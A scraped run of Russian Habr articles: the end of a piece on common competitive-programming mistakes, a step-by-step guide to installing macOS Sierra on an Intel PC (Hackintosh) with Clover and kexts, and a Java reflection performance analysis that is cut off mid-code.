столбец b, а в третьей — столбец c. Однако многие участники курса присылали такое решение: сначала выберем максимальное из чисел в матрице, затем вычеркнем соответствующую строку и столбец, затем опять выберем максимум, и так далее. Приводило это к неверному ответу на шестом тесте. Это решение очень легко «убить»: достаточно рассмотреть, что произойдет на такой матрице: 9 8 1 8 1 1 1 1 1 Правильное решение выберет две восьмерки и оставшуюся единицу, при этом сумма квадратов будет равна 129. «Жадное» решение выберет девятку, потом ему не остается ничего, кроме единиц, и сумма квадратов составит 83. Извлечение корня, конечно же, не изменит того, что первый ответ — больше, а следовательно, лучше. Получив подобный пример, многие участники начали писать всевозможные разборы случаев, получая неверные ответы на том же тесте или на других тестах, при этом упуская главное — получив несложный контрпример для логики работы основной части своего решения, следует остановиться и подумать. Вместо затыкания дыр, расстановки подпорок и сколачивания костылей, хорошо бы хотя бы обосновать, почему решение вообще работает. А в идеале — математически строго доказать – Максим Буздалов Еще одна распространенная ошибка, которую отмечает Дарья, — переполнение типа данных int: Она [ошибка] случается в том случае, когда вы пытаетесь «положить» в переменную значение больше допустимого. Нужно быть внимательным и оценивать порядок ваших значений при решении задачи, и всё будет хорошо – Дарья Яковлева Павел Кротков отмечает еще одну важную особенность опытных участников олимпиад — стрессоустойчивость. Ее новичкам также не хватает — именно поэтому неверное решение может легко вызвать недоумение и панику и приведет к потере драгоценного времени. Об умении преодолеть стресс речь пойдет и во второй части нашей беседы: авторы и инструкторы курса расскажут, какую роль в процессе подготовки к соревнованию играет психология и правильный настрой, поделятся своими лайфхаками и маленькими хитростями, а также объяснят, кому (помимо будущих призеров олимпиад) может быть интересен курс «How to Win Coding Competitions: Secrets of Champions» Университета ИТМО.
https://habrahabr.ru/company/spbifmo/blog/318444/
habrahabr
Хакинтош: разворачиваем macOS Sierra на Intel-PC подробно и понятно
['apple', 'hackintosh', 'mac', 'хакинтош']
Данный мануал/гайд/etc написан для тех, кому лень собирать по кускам ту или иную информацию об установке «мака» на PC, все понятно и по полочкам. Для начала, перед, собственно, установкой самой...
Данный мануал/гайд/etc написан для тех, кому лень собирать по кускам ту или иную информацию об установке «мака» на PC, все понятно и по полочкам. Для начала, перед, собственно, установкой самой системы на ПК, нужно определиться, нужна ли она нам или нет, так как сама система очень специфична в плане установки и настройки, если у вас, конечно, не яблочный девайс. Нет смысла объяснять, что разворачивание системы, которая изначально не планировалась для настольных ПК — дело сложное и на это все можно убить от 2-ух до N часов, в зависимости от совместимости железа. Теперь, разберемся в том, что же такое Хакинтош (Hackintosh): слово «хакинтош» образовалось от слияния двух слов «Macintosh» и «Hack», что по сути означает «взломанный макинтош», хотя ничего общего со «взломом» тут нет. В данном гайде рассмотрим создание установочной флешки из-под Windows (так как это наиболее популярная система среди «начинающих хакинтошников»), установку системы на чистый диск, расширения ядра под ваше железо и, собственно, установку и настройку загрузчика (именно на этом моменте и многих и возникают проблемы) Машина автора: CPU: Intel Core i5 4460 3,2 GHz (Haswell) Memory: 16 GB Crucial Ballistix Sport Graphics: MSI GeForce GTX 760 2048MB Motherboard: Gigabyte GA-H81-S2V (UEFI Bios) ACHTUNG Автор НЕ ГАРАНТИРУЕТ работоспособность системы на таком же уровне, как и у него. Система работает на разных машинах по-разному и не нужно корить автора за «кривую инструкцию» Также хочу обратить внимание, что в этой статье работа идет с видеокартами NVidia и UEFI BIOS'ом. Что ж, поехали. Шаг 1. Оценка и анализ железа Да, несмотря на то, что Хакинтош так или иначе запускается на почти любых конфигурациях, делает он это всегда по-разному. Поэтому сразу стоит проанализировать наше железо. Процессоры Итак, начнем с того, что на машинах на процессорах AMD система работать НЕ БУДЕТ (то предсмертное состояние агонии, в котором она будет прибывать, «работой» назвать очень сложно). Да, по сути, можно поставить кастомное ядро, перепрошить его и так далее, но смысл изобретать велосипед из палок, если так или иначе он все равно сломается. Система встает без проблем на процессоры Intel, начиная с Core i3 (мы говорим конкретно про macOS Sierra 10.12, предыдущие выпуски могут встать также и на процессорах Core 2 Duo и Pentium). В моем случае выпал камень i5 4460 (4 ядра, 4 потока, турбобуст до 3,4 ГГц). ACHTUNG 2 Наблюдаются проблемы на процессорах сокета 2011-3, в частности на чипсете X99. Обычно проявляется из-за слишком больших наворотов материнской платы. Видеокарты Далее, определяемся с графикой. Если вы пользуетесь встроенной графикой Intel (в моем случае это HD4600), то скорее всего понадобится отдельный «завод» графики (хотя могут завестись нативно). Список поддерживающихся графоядер Intel Intel HD 3000 Intel HD 4000 Intel HD 4600 (лэптопы) Intel HD 5000 Радеоны (AMD) заводятся, но опять же с треском. Например, новые карточки (RX-4**), а также всем известная R9 380 или R9 380x могут просто вывести загрузку в черный экран. Список точно поддерживающихся карт AMD Radeon HD 4000 series Radeon HD 5000 series Radeon HD 6000 series (Желательно 6600 и 6800) Radeon HD 7000 series (Желательно 7700, 7800, и 7900) Radeon R9 200 series (R9 290 не заводится) Radeon R9 300 series (С R9 380 могут быть проблемы. Лично не проверял, но судя по отзывам на Реддите с этими карточками есть проблемы) В этом мануале рассматривать завод графики AMD не будем, так как все это сводится к патчам фрэймбуффера и подменам Device ID в загрузчике (что для каждого индивидуально). Подробнее о картах AMD тут: тык (English). Совсем другое дело обстоит с карточками от NVidia. Заводятся почти все, за исключением некоторых особо-одаренных. Проблемы наблюдаются на 10-ой серии, но, скорее всего, их не скоро будет. На картах GTX графика заводится с полпинка, карты выпуска GT тоже не отстают, хотя там и есть некоторые исключения. Список рабочих карт NVidia Geforce 7000 series Geforce 8000 series Geforce 9000 series Geforce 200 series Geforce 400 series Geforce 500 series Geforce 600 series Geforce 700 series Geforce 900 series Более чем уверен, что вы найдете в списке свою карту. Сетевой контроллер Думаю, не нужно разжевывать, как можно определить свою сетевую карту… Ньюби гайд Открываем Диспетчер задач → вкладка «производительность» → Ethernet (Windows 10), там большими черными буквами будет сетевуха. К слову, еще можно в BIOS'e посмотреть Так или иначе, на этом подробно останавливаться не будем. Сетевую карту в любом случае придется заводить, так что просто предоставлю список поддерживаемых сетевых карт. Сетевые карты Intel Gigabit 5 Series – 82578LM/82578LC/82578DM/82578DC 6 and 7 Series – 82579LM/82579V 8 and 9 Series – I217LM/I217V/I218LM/I218V/I218LM2/I218V2/I218LM3 Realtek RTL8111, 8168, 8101E, 8102E, 8131E, 8169, 8110SC, 8169SC RTL8111/8168 B/C/D/E/F/G RTL8101E/8102E/8102E/8103E/8103E/8103E/8401E/8105E/8402/8106E/8106EUS RTL8105/8111E/8111F/8136/8168E/8168F Atheros AR8121, 8113, 8114, 8131, 8151, 8161, 8171, 8132,8151, 8152, 8162, 8172 AR816x, AR817x поддерживаются Broadcom BCM5722, 5752, 5754, 5754M, 5755, 5755M, 5761, 5761e, 57780, 57781, 57785,5784M, 5787, 5787M, 5906, 5906M, 57788, 5784M Marvell 88E8035, 88E8036, 88E8038, 88E8039, 88E8056, 88E8001 Killer E2200 Память Ограничений нет. Система запускается на двух гигабайтах. Рекомендовано 4. Автор рекомендует 8. С железом, собственно, разобрались. Если на этом этапе вы не передумали, идем дальше. Шаг 2. Делаем загрузочную флешку и развертываем на нее установщик Итак, вот мы и подошли к практике. Напомню, что делаем мы все это из-под Windows. Сразу говорю, что мы не будем использовать образы с рутрекера, которые так яро советуют люди, у которых все работает хакинтошники «до 18». Для начала нам потребуется утилита BDU (BootDiskUtiliy). Потребуется флешка >8 ГБ. Любая. Качаем: тык 1. Запускаем утилиту 2. Destination disk → выбираем нашу флешку 3. Format disk Теперь ждем. Флешка отформатируется в Apple HFS и разобьется на два раздела, на один из которых будет установлен загрузчик (CLOVER), а второй останется чистым для того, чтобы туда можно было развернуть установщик. После выполненных манипуляций получаем примерно следующую картину: Далее необходимо развернуть установщик на второй раздел. Делаем мы это также через утилиту BDU. Однако, тут стоит вопрос, откуда взять образ. Варианта два: взять готовый, уже распакованный, либо же самолично достать его из Install Mac OS Sierra.app из AppStore. Так как второй способ требует достаточно много времени, да и искать сам этот .app очень долго, воспользуемся первым. Народные умельцы уже приготовили для этой утилиты готовые HFS файлы, извлекли их из .app за нас. Все, что нам нужно, так это скачать его (образ весит почти 5 гигов, так что можно просто поставить на закачку). Собственно, качаем macOS 10.12 Sierra отсюда . Скачали. 1. Достаем из архива HFS Partition File (HFS+), файл с расширением .hfs . 2. В окне утилиты BDU «Destination disk» выбираем Part 2 нашей разбитой флешки. 3. Открываем «Restore partiton». 4. Ищем и выбираем наш *.hfs-файл. Обратите внимание, что он должен быть не больше PART 2 раздела . 5. Ждем его распаковки. Все, установщик на флешке распакован и готов к работе. Теперь нам потребуются некоторые файлы для вашей системы. Все необходимое я собрал в этом архиве. Позже объясню, что и для чего. → Скачать Также потребуется еще этот кекст, его тоже скачиваем: тык . Распаковываем папку из архива в корень раздела с Clover'ом, а кекст в папку, которую мы распаковали. Все, готово. Флешка сделана. Идем дальше. Шаг 3. Установка macOS Sierra на Intel-PC Проверяем, что флешка вставлена в 2.0 порт. Перезагружаемся, заходим в BIOS. Напомню, что BIOS у нас — UEFI. Отключаем виртуализацию (Intel Virtualization). В приоритет загрузки (BOOT) указываем нашу флешку. Убедитесь, что она будет грузится именно в режиме UEFI. Сохраняем и применяем настройки, перезагружаемся. Попадаем в меню Clover'а. Clover («Клевер») — загрузчик хакинтоша, а также его установщика. Нажимаем стрелочку вниз до того момента, пока не попадем на меню Options. Нажимаем Enter. Все, что нам нужно здесь — это вот эта строка: Прописываем в нее следующее: kext-dev-mode=1 rootless=0 -v npci=0x2000 nv_disable=1 Объясню, что делает каждый из этих аргументов: kext-dev-mode=1 — необходимый арг, без которого не запустится хак. Позволяет загружать в систему кексты (Изначально, FakeSMC.kext). rootless=0 — отключает SIP (System Integrity Protection). Необходимый арг. -v — «Verbose mode». Вместо красивого яблочка мы увидем «консольную» загрузку, чтобы можно было опознать ошибку, если таковая появится. npci=0x2000 (или 0x3000, в зависимости от версии PCI-e) — по желанию. Предупреждаем остановку загрузки на этапе сканирования PCI. Можно не прописывать. nv_disable=1 — по желанию. Чтобы избежать артефактов при загрузке и прочего мусора, отключаем графическую оболочку. Грузимся в нативном режиме графики в православном 144p разрешении. Можно не прописывать. Применяем аргументы, нажимая Enter. Выбираем Boot Mac OS Sierra from OS X Base System. И вот, пошла родимая загрузка. Сразу разберем некоторые ошибки: still waiting for root device — не успевает подключиться IDE-контроллер. Фикс Переподключаем флешку в другой 2.0 порт, грузимся с такими аргументами: kext-dev-mode=1 rootless=0 cpus=1 npci=0x2000 -v UseKernelCache=No Missing Bluetooth controller transport — не включилась видеокарта, либо не подрубился FakeSMC.kext. Проверьте, что в папке kexts/other есть FakeSMC.kext. Синезуб тут не при чем. Фикс Грузимся так: kext-dev-mode=1 rootless=0 -v npci=0x2000 Или так: kext-dev-mode=1 rootless=0 -v -x npci=0x2000 Если такие ошибки все же остались, то пробуем грузится так: kext-dev-mode=1 rootless=0 -v npci=0x3000 darkwake=0 nv_disable=1 cpus=1 В иных случаях помогут только гуглы, хотя эти фиксы должны решать эти проблемы. Ждем. На некоторых моментах может подвисать. Если зависает больше чем на минуту — ребут. Должно помочь в некоторых случаях. И вот мы, собственно, в установщике. Выбираем язык и кликаем на стрелочку. Пойдет подгрузка языкового пакета (может подвиснуть на минуту). Теперь открываем Утилиты>Дисковая утилита, нам нужно форматировать диск под macOS. Выбираем нужный диск, нажимаем «Стереть». Для удобства называем новый диск «Macintosh HD». Форматируем, закрываем дисковую утилиту. Далее выбираем диск, на который будем устанавливать систему (в нашем случае, Macintosh HD), устанавливаем. Установка занимает от 15 до 30 минут, все зависит от скорости записи на диск. После установки система предложит нам настроить интернет подключение — пропускаем, это сделаем позже. Делаем пользователя. Готово, мы в системе. Вернее, в ее обрубке. Пока у нас еще ничего не работает. Если вы перезагрузите машину, то попасть в систему будет невозможно (ввиду отсутствия загрузчика). Фикс Если же комп все же перезагрузился или вырубился, то можно выбрать загрузку с флешки, затем в меню кловера выбрать «Boot macOS Sierra from Macintosh HD», не забывая при этом прописать boot arguments в меню options. Идем дальше… Шаг 4. Базовая настройка системы и установка кекстов Итак, вот мы в системе. Пока она умеет мало, в интернет мы не выйдем, графика не работает, да и вообще все выглядит как-то ну очень плохо. Это нужно исправлять. Разберемся, что такое кексты. Kext (Kernel Extension) — расширения ядра, запускающие то или иное несовместимое с оригинальным маком оборудование (Например, откуда в аймаке мы найдем сетевую карту от Realtek или звуковую карту?). Вот они нам сейчас и понадобятся. Для начала нам потребуется папка PostInstall, которую вы распаковали в раздел CLOVER на загрузочную флешку. Оттуда нам нужна, в первую очередь, утилита Kext Utility, которая позволяет устанавливать кексты в систему. Запускаем ее, вводим пароль от пользователя, ждем, пока увидем надпись «All done». Устанавливаем кекст на сетевую карту (Папка Network, там по папкам рассортировал под каждую сетевую карту), просто перетаскиваем его в окно программы. Ждем, пока появится надпись «All done». Далее, заходим в раздел CLOVER нашей флешки, далее в kexts, далее в Other. Копируем оттуда FakeSMC.kext в любое место (Лучше в ту же PostInstall), далее тем же путем, что и кекст на сетевую карту, устанавливаем его. Также потребуется кекст на USB 3.0. Он был в архиве Legacy_13.2_EHC1.kext.zip, который вы распаковали в PostInstall. Устанавливаем его. Готово, мы завели интернет, USB и позволили системе вообще загружаться (FakeSMC.kext имитирует чип System Management Control, который присутствует только на материнских платах Apple. Без этого кекста система просто не стартанет). Теперь установим загрузчик. Заходим в папку PostInstall → Clover_v2.3k_r3949. Там есть *.pkg файл, открываем его. Кликаем продолжить, читаем инфу о загрузчике (вру, тоже нажимайте продолжить). Далее, в левом нижнем углу нажимаем «Настроить». Для UEFI-загрузки выставляем следующие настройки: О легаси-загрузке поговорим позже, так как там все немного сложнее и придется патчить DSDT. Нажимаем «Установить». Пойдем процесс установки загрузчика. Готово, загрузчик установлен. Шаг 5. Настройка загрузчика После установки мы получим чистый, ненастроенный загрузчик Clover, который необходимо немного подконфигурировать. Открываем Clover Configurator (в будущем не советую пользоваться данной программой для точечного редактирования конфига загрузчика). Для начала нам необходимо попасть на EFI раздел с загрузчиком. В левом меню нажимаем Mount EFI. Далее нажимаем Check partition, появится таблица всех разделов. Нужный нам раздел должен находится на том же разделе, что и Apple_HFS , он отображается как EFI EFI. Нажимаем Mount partition. В списке выбираем нужный нам диск (Например, disk0s1). Обратите внимание, что есть баг, когда не видно всех разделов. Покрутите колесиком мышки, так вы сможете листать между разделами и выбрать нужный. Далее нажимаем Open Partition. Откроет «папка» с нужным разделом. Переходим EFI>CLOVER. Копируем plist.config в папку PostInstall, для удобства. Также на всякий случай копируем его еще куда-нибудь, так как тот, который мы только что скопировали, будем редактировать. А еще один для бэкапа. Копируем, открываем plist.config. Видим примерно следующее: ACPI — Фиксы не трогаем, дропаем (DropOEM) нашу видеокарту (DropOEM_DSM работает, когда встречаются два DSDT патча. Поэтому оставляем оригинальный метод автопатча загрузчиком, а наш, если таковой появится, отключаем). Переходим в секцию BOOT. Итак, вот тут нам следует покопаться. Аргументы выставляем сами, в зависимости от системы. -v (verbose) — уже знакомый «текстовый» режим загрузки. Лучше не включать, а прописывать вручную при необходимости. arch — архитектура. В моем случае x86_64 npci — уже известный нам ключ. Выставляем при необходимости. Рекомендую первую загрузку делать без него, но в Verbose mode. darkwake — отвечает за режим сна и гибернацию. Имеет 7 режимов. Если сон не заведется изменением hibernatemode в терминале, то рекомендую методом проб и ошибок найти нужный режим дарквэйка. cpus=1 — запуск с использованием только одного ядра. Не рекомендую выбирать. nvda_drv=1 — активация вебдрайвера НВидии, который мы поставим чуть позже. Выбираем, если у вас nVidia. nv_disable=1 — отключение графики невидии и запуск на нативном драйвере мака. Лучше не выбирать, но при необхожимости вручную прописывать. kext-dev-mode=1 и rootless=0 уже объяснялись ранее. Переходим в правую подсекцию. Default Boot Volume — раздел, с которого по-умолчанию будет начинаться выбор диска для загрузки. По-умолчанию LastBootedVolume (последний выбранный раздел). Legacy — Legacy Boot для старых версий Windows и Linux. Очень сильно зависит от аппаратной части и построения БИОСа, поэтому были разработаны несколько алгоритмов: LegacyBiosDefault — для тех BIOS UEFI, где есть протокол LegacyBios. PBRTest, PBR — варианты PBR Boot, тут просто перебором. В моем случае работает PBR. XMPDetection=YES — важный параметр. Фиксирует количество оперативной памяти, слотов, плашек, частоту и количество каналов. DefaultLoader — если на разделе несколько загрузчиков, выбираем дефолтный. Не должен быть пустым! Timeout — время до автоматического бута. Fast — параметр, пропускающий выбор раздела и сразу переход к загрузке. -1 (Timeout -1) — отключение автобута. Секцию CPU пропускаем, загрузчик сам подцепит нужные значения. Devices также лучше пропустить, если вам нечего «фэйкать». Disable Drivers — отключение ненужных драйверов при загрузке. GUI — настройка внешнего вида загрузчика. Думаю, пояснять тут ничего не нужно, особых параметров тут нет. Разрешение экрана, язык и тема меню. Все просто. Graphics — настройка и инжекты графики. Параметр Inject NVidia не трогать! На запуске будут артефакты. Он предназначен для запуска старых карт линейки GT Kernel and Kext Patches — патчи и кастомизация ядра. По-умолчанию выбран Apple RTC. Лучше не трогать. SMBIOS — самый сок, кастомизация и подделка «мака». Для настройки заводской информации нажимаем на иконку волшебной палочки. Далее выбираем iMac (Если ПК) или MacBook (если ноут). ACHTUNG 3 Можно посмотреть также среди более старых конфигов, типа MacMini, либо Mac Pro. Ваша задача подобрать наиболее схожий с вашим железом мак. Не добавляйте ничего в Memory и Slots. Это чисто косметические параметры, которые кловер подцепляет на этапе загрузке. Неправильно выставленные параметры могут вызвать конфликты. WARNING: Видеокарты Nvidia без правок полиси-кекста работают только на мак-моделях iMac13,1 и iMac14,2. В AppleGraphicsControl.kext/Contents/PlugIns/AppleGraphicsDevicePolicy.kext/Contents/info.plist исправляем Config1 на none вот тут: Теперь должно работать. Готово. Больше не трогаем ничего, базовые настройки мы сделали. Сохраняем наш файл. Теперь копируем его в папку CLOVER раздела EFI, авторизируемся, заменяем. Напомню, что перед этим вы должны были сделать бэкап. Шаг 6. Установка графического драйвера и первая перезагрузка Вот мы почти у цели. Теперь осталось только завести видеокарту. В папке PostInstall лежит пакет WebDriver*.pkg. Открываем его, устанавливаем. Далее он предлагает нам перезагрузится. Перезагружаемся. Теперь удостоверимся, что мы загружаемся не с флешки, а с жесткого диска в режиме UEFI . Выбираем Boot macOS Sierra from Macintosh HD. Запускаемся. Примечание Я рекомендую использовать ключ -v для первого запуска, чтобы если что-то пошло не так, то можно было сразу идентифицировать ошибку. Если загрузчик поломался и вы не можете попасть в систему, то загружайтесь с флешки, прописывайте в опциях нужные ключи и загружайте систему в Verbose mode. Готово, вот мы и в системе. На картинке я примерно показал, как будет выглядеть ось после всех настроек. Обратите внимание на то, как система поняла ваш «мак», а также на частоту процессора. Верным признаком работы драйвера нвидии будет ее логотип на панели задач. Я его отключил, к слову, так как он мешается, но получить доступ к панели управления невидией можно через «Системные настройки...». Интернет можем проверить через Сафари. USB 3.0 банально воткнув флешку в 3.0 порт. Дополнительно — Звук Касаемо звука дело обстоит иначе. Если у вас внешняя звуковая карта, то просто скачайте драйвера для нее с сайта производителя (аналоговые устройства, типа микшерных пультов, не требуют драйверов и заводятся сразу). Для встроенной звуковой карты используйте один из этих кекстов: VoodoHDA . Народные умельцы запилили инструкцию по его настройке. Не буду ее копипастить, а просто дам ссылку на архив . P.S. Автор рекомендует перемещать кекст руками, однако, это все можно сделать через Kext Utility. AppleHDA Касаемо AppleHDA Необходимо выполнить следующие условия, чтобы он заработал: Наличие ванильного (чистого) кекста AppleHDA.kext в системе. Наличие секции HDEF в вашем DSDT (либо фикс кловера FixHDA_8000->True) Указать layout в DSDT (либо в config.plist кловера Devices->Audio->Inject->1,2,28...etc. Выбрать из тех, которые прописаны для вашего кодека выше) Убрать ВСЕ патчи для звука (если были в вашем config.plist) из раздела KextsToPatch Убрать DummyHDA.kext (если пользовались) Если пользовались VoodooHDA.kext — удалить. Также удалить AppleHDADisabler.kext и пересобрать кеш. Для Intel HDMI 4000/4600 требуется фикс кловера UseIntelHDMI->True Собственно, это все. После мы получаем готовую к работе macOS Sierra. The end
https://habrahabr.ru/post/318448/
habrahabr
Вызов методов через reflection
['java', 'вызов методов', 'reflection', 'bytecode']
Все программисты на Java явно или неявно пользуются reflection для вызова методов. Даже если вы не делали этого сами, это за вас наверняка делают библиотеки или фреймворки, которые вы используете....
Все программисты на Java явно или неявно пользуются reflection для вызова методов. Даже если вы не делали этого сами, это за вас наверняка делают библиотеки или фреймворки, которые вы используете. Давайте посмотрим, как этот вызов устроен внутри и насколько это быстро. Будем глядеть в OpenJDK 8 с последними обновлениями. Начать изучение стоит собственно с метода Method.invoke . Там делается три вещи: Проверяются права доступа на метод. Создаётся и запоминается MethodAccessor , если его ещё нет (если данный метод ещё не вызывали через reflection). Вызывается MethodAccessor.invoke . Проверка прав доступа состоит из двух частей. Быстрая проверка устанавливает, что и метод, и содержащий его класс имеют модификаторы public . Если это не так, то проверяется, что у вызывающего класса есть доступ к данному методу. Чтобы узнать вызывающий класс, используется приватный метод Reflection.getCallerClass() . Некоторые люди, кстати, любят им пользоваться в своём коде. В Java 9 появится публичный Stack-Walking API и в высшей степени разумно будет перейти на него. Известно, что проверки доступа можно отменить, вызвав заранее method.setAccessible(true) . Этот сеттер устанавливает флаг override , позволяющий игнорировать проверки. Даже если вы знаете, что ваш метод публичный, установка setAccessible(true) позволит сэкономить немного времени на проверках. Давайте посмотрим, сколько разные сценарии съедают времени. Напишем простой класс с публичным и непубличным методами: public static class Person { private String name; Person(String name) { this.name = name; } public String getName1() { return name; } protected String getName2() { return name; } } Напишем JMH -тест, параметризованный двумя флагами: accessible и nonpublic . Такой у нас будет подготовка: Method method; Person p; @Setup public void setup() throws Exception { method = Person.class.getDeclaredMethod(nonpublic ? "getName2" : "getName1"); method.setAccessible(accessible); p = new Person(String.valueOf(Math.random())); } И сам бенчмарк: @Benchmark public String reflect() throws Exception { return (String) method.invoke(p); } Я вижу вот такие результаты (3 форка, 5x500ms прогрев, 10x500ms измерение): (accessible) (nonpublic) Time true true 5,062 ± 0,056 ns/op true false 5,042 ± 0,032 ns/op false true 6,078 ± 0,039 ns/op false false 5,835 ± 0,028 ns/op Действительно если выполнен setAccessible(true) , то получается быстрее всего. При этом без разницы, публичный метод или нет. Если же setAccessible(false) , то оба теста медленнее и непубличный метод чуть медленнее публичного. Впрочем я ожидал, что различие будет сильнее. Главным образом тут помогает, что Reflection.getCallerClass() — это интринсик JIT-компилятора, который в большинстве случаев подменяется просто константой во время компиляции: если JIT-компилятор инлайнит вызов Method.invoke, он знает, в какой метод он его инлайнит, а значит и знает, что должен вернуть getCallerClass() . Дальше проверка по сути сводится к сравнению пакета вызываемого и вызывающего класса. Если бы пакет был разный, проверялась бы ещё иерархия классов. Что же происходит дальше? Дальше нужно создать объект MethodAccessor . Кстати, несмотря на то что Person.class.getMethod("getName") всегда вернёт новый экземпляр объекта Method , используемый внутри MethodAccessor будет переиспользован через поле root , что, конечно, приятно. Тем не менее сам getMethod существенно медленнее вызова, поэтому если вы планируете вызывать метод несколько раз, разумно хранить объект Method . Созданием MethodAccessor 'а занимается ReflectionFactory . Здесь мы видим два сценария, которые контролируются глобальными настройками JVM: Если установлена опция -Dsun.reflect.noInflation=true (по умолчанию выключена), то сразу генерируется вспомогательный класс, который и будет запускать целевой метод. Иначе создаётся обёртка DelegatingMethodAccessorImpl , внутрь которой помещается NativeMethodAccessorImpl . В свою очередь он считает , сколько раз данный метод вызывали. Если количество вызовов превысило порог, заданный через -Dsun.reflect.inflationThreshold (по умолчанию 15), то происходит «раздувание» аксессора: генерируется вспомогательный класс, как и в первом сценарии. Если же порог не достигнут, вызов идёт честно через JNI. Хотя реализация на стороне C++ тривиальна , накладные расходы на JNI весьма высоки. Давайте посмотрим, что будет с нашим тестом, если включить -Dsun.reflect.noInflation=true и если использовать только JNI (для этого зададим большой порог -Dsun.reflect.inflationThreshold=100000000 ): (accessible) (nonpublic) Default noInflation JNI-only true true 5,062 ± 0,056 4,935 ± 0,375 195,960 ± 1,873 true false 5,042 ± 0,032 4,914 ± 0,329 194,722 ± 1,151 false true 6,078 ± 0,039 5,638 ± 0,050 196,196 ± 0,910 false false 5,835 ± 0,028 5,520 ± 0,042 194,626 ± 0,918 Здесь и далее все результаты в наносекундах на операцию. Как и ожидалось, JNI существенно медленнее, поэтому включать такой режим неоправданно. Любопытно, что режим noInflation оказался чуть быстрее. Это происходит из-за того, что отсутствует DelegatingMethodAccessorImpl , который убирает необходимость в одной косвенной адресации. По умолчанию вызов проходит через Method → DelegatingMethodAccessorImpl → GeneratedMethodAccessorXYZ , а с этой опцией цепочка сокращается до Method → GeneratedMethodAccessorXYZ . Вызов Method → DelegatingMethodAccessorImpl мономорфный и легко девиртуализируется, но косвенная адресация всё равно остаётся. Кстати, о девиртуализации. Стоит заметить, что бенчмарк у нас плохой, потому что он не отображает ситуацию в реальной программе. В бенчмарке мы вызываем через reflection только один метод, а значит, у нас всего один сгенерированный аксессор, который тоже легко девиртуализуется и даже инлайнится. В реальном приложении так не бывает: аксессоров много. Чтобы сэмулировать эту ситуацию, давайте опционально отравим профиль типов в методе setup : if(polymorph) { Method method2 = Person.class.getMethod("toString"); Method method3 = Person.class.getMethod("hashCode"); for(int i=0; i<3000; i++) { method2.invoke(p); method3.invoke(p); } } Обратите внимание, что мы никак не меняли код, производительность которого мы измеряем. Мы просто сделали несколько тысяч с виду бесполезных вызовов перед этим. Однако эти бесполезные вызовы немного подпортят картинку: JIT видит, что вариантов много, и не может подставить единственный возможный, делая теперь честный виртуальный вызов. Результаты будут такие (poly — вариант с превращением вызова метода в полиморфный, на JNI не влияет): (acc) (nonpub) Default Default/poly noInflation noInflation/poly JNI-only true true 5,062 ± 0,056 6,848 ± 0,031 4,935 ± 0,375 6,509 ± 0,032 195,960 ± 1,873 true false 5,042 ± 0,032 6,847 ± 0,035 4,914 ± 0,329 6,490 ± 0,037 194,722 ± 1,151 false true 6,078 ± 0,039 7,855 ± 0,040 5,638 ± 0,050 7,661 ± 0,049 196,196 ± 0,910 false false 5,835 ± 0,028 7,568 ± 0,046 5,520 ± 0,042 7,111 ± 0,058 194,626 ± 0,918 Как видно, виртуальный вызов добавляет около 1,5-1,8 нс на моём железе — даже больше, чем проверки доступа. Важно помнить, что поведение виртуальной машины в микробенчмарке может существенно отличаться от поведения в реальном приложении, и по возможности воссоздавать условия, близкие к реальности. Здесь, конечно, от реальности всё ещё далеко: как минимум, все нужные объекты в L1-кэше процессора и сборка мусора не происходит, потому что мусора нет. Некоторые могут подумать, круто, мол, что с -Dsun.reflect.noInflation=true всё становится быстрее. Пусть всего на 0,3 нс, но всё же. Да плюс первые 15 вызовов ускорятся. Да и рабочий набор чуть уменьшился, кэш процессора экономим — сплошные плюсы! Добавим опцию в продакшн и заживём! Так делать не надо. В бенчмарке мы протестировали один сценарий, а в природе бывают и другие. Например, какой-нибудь код может по одному разу вызывать множество разных методов. С этой опцией аксессор будет генерироваться сразу на первом вызове. А сколько это стоит? Сколько времени генерируется аксессор? Чтобы это оценить, можно через reflection очищать приватное поле Method.methodAccessor (очистив предварительно Method.root ), принудив инициализировать аксессор заново. Запись поля через reflection хорошо оптимизирована, поэтому от этого тест сильно не замедлится. Получаем такие результаты. Верхняя строка — ранее полученные результаты (polymorph, accessible), для сравнения: (test) Default noInflation JNI invoke 6,848 ± 0,031 6,509 ± 0,032 195,960 ± 1,873 reset+invoke 227,133 ± 9,159 100195,746 ± 2060,810 236,900 ± 2,042 Как видим, если аксессор сбрасывать, то по дефолту производительность становится немного хуже, чем в варианте с JNI. А вот если мы от JNI полностью отказываемся, то получаем 100 микросекунд на запуск метода. Генерация и загрузка класса в рантайме по сравнению с однократным вызовом метода (даже через JNI), конечно, чудовищно медленна. Поэтому дефолтное поведение «пробовать 15 раз через JNI и только потом генерировать класс» кажется в высшей степени разумным. Вообще помните, что нет волшебной опции, которая ускорит любое приложение. Если бы она была, она бы была включена по умолчанию. Какой смысл её прятать от людей? Возможно, есть опция, которая ускорит конкретно ваше приложение, но не принимайте на веру любые советы типа «врубите -XX:+MakeJavaFaster, и всё будет летать». Как же выглядят эти сгенерированные аксессоры? Байткод генерируется в классе MethodAccessorGenerator с использованием довольно тривиального низкоуровневого API ClassFileAssembler , которое чем-то похоже на урезанную библиотеку ASM . Классам даются имена вида sun.reflect.GeneratedMethodAccessorXYZ , где XYZ — глобальный синхронизированный счётчик, вы их можете увидеть в стектрейсах и отладчике. Сгенерированный класс существует только в памяти, но мы легко можем сдампить его на диск, добавив в метод ClassDefiner.defineClass строчку вида try { Files.write(Paths.get(name+".class"), bytes); } catch(Exception ex) {} После этого можно смотреть на класс в декомпиляторе. Для нашего метода getName1() сгенерировался такой код (декомпилятор FernFlower и ручное переименование переменных): public class GeneratedMethodAccessor1 extends MethodAccessorImpl { public GeneratedMethodAccessor1() {} public Object invoke(Object target, Object[] args) throws InvocationTargetException { if(target == null) { throw new NullPointerException(); } else { Person person; try { person = (Person)target; if(args != null && args.length != 0) { throw new IllegalArgumentException(); } } catch (NullPointerException | ClassCastException ex) { throw new IllegalArgumentException(ex.toString()); } try { return person.getName1(); } catch (Throwable ex) { throw new InvocationTargetException(ex); } } } } Заметьте, сколько приходится делать дополнительных вещей. Надо проверить, что нам передали непустой объект нужного типа и передали пустой список аргументов или null вместо списка аргументов (не все знают, но при вызове через reflection метода без аргументов мы можем передать null вместо пустого массива). При этом надо аккуратно соблюдать контракт: если вместо объекта передали null , то выкинуть NullPointerException . Если передали объект другого класса, то IllegalArgumentException . Если произошло исключение при выполнении person.getName1() , то тогда InvocationTargetException . И это ещё у метода нет аргументов. А если они есть? Вызовем, например, такой метод (для разнообразия теперь статический и возвращающий void ): class Test { public static void test(String s, int x) {} } Теперь кода существенно больше: public class GeneratedMethodAccessor1 extends MethodAccessorImpl { public GeneratedMethodAccessor1() {} public Object invoke(Object 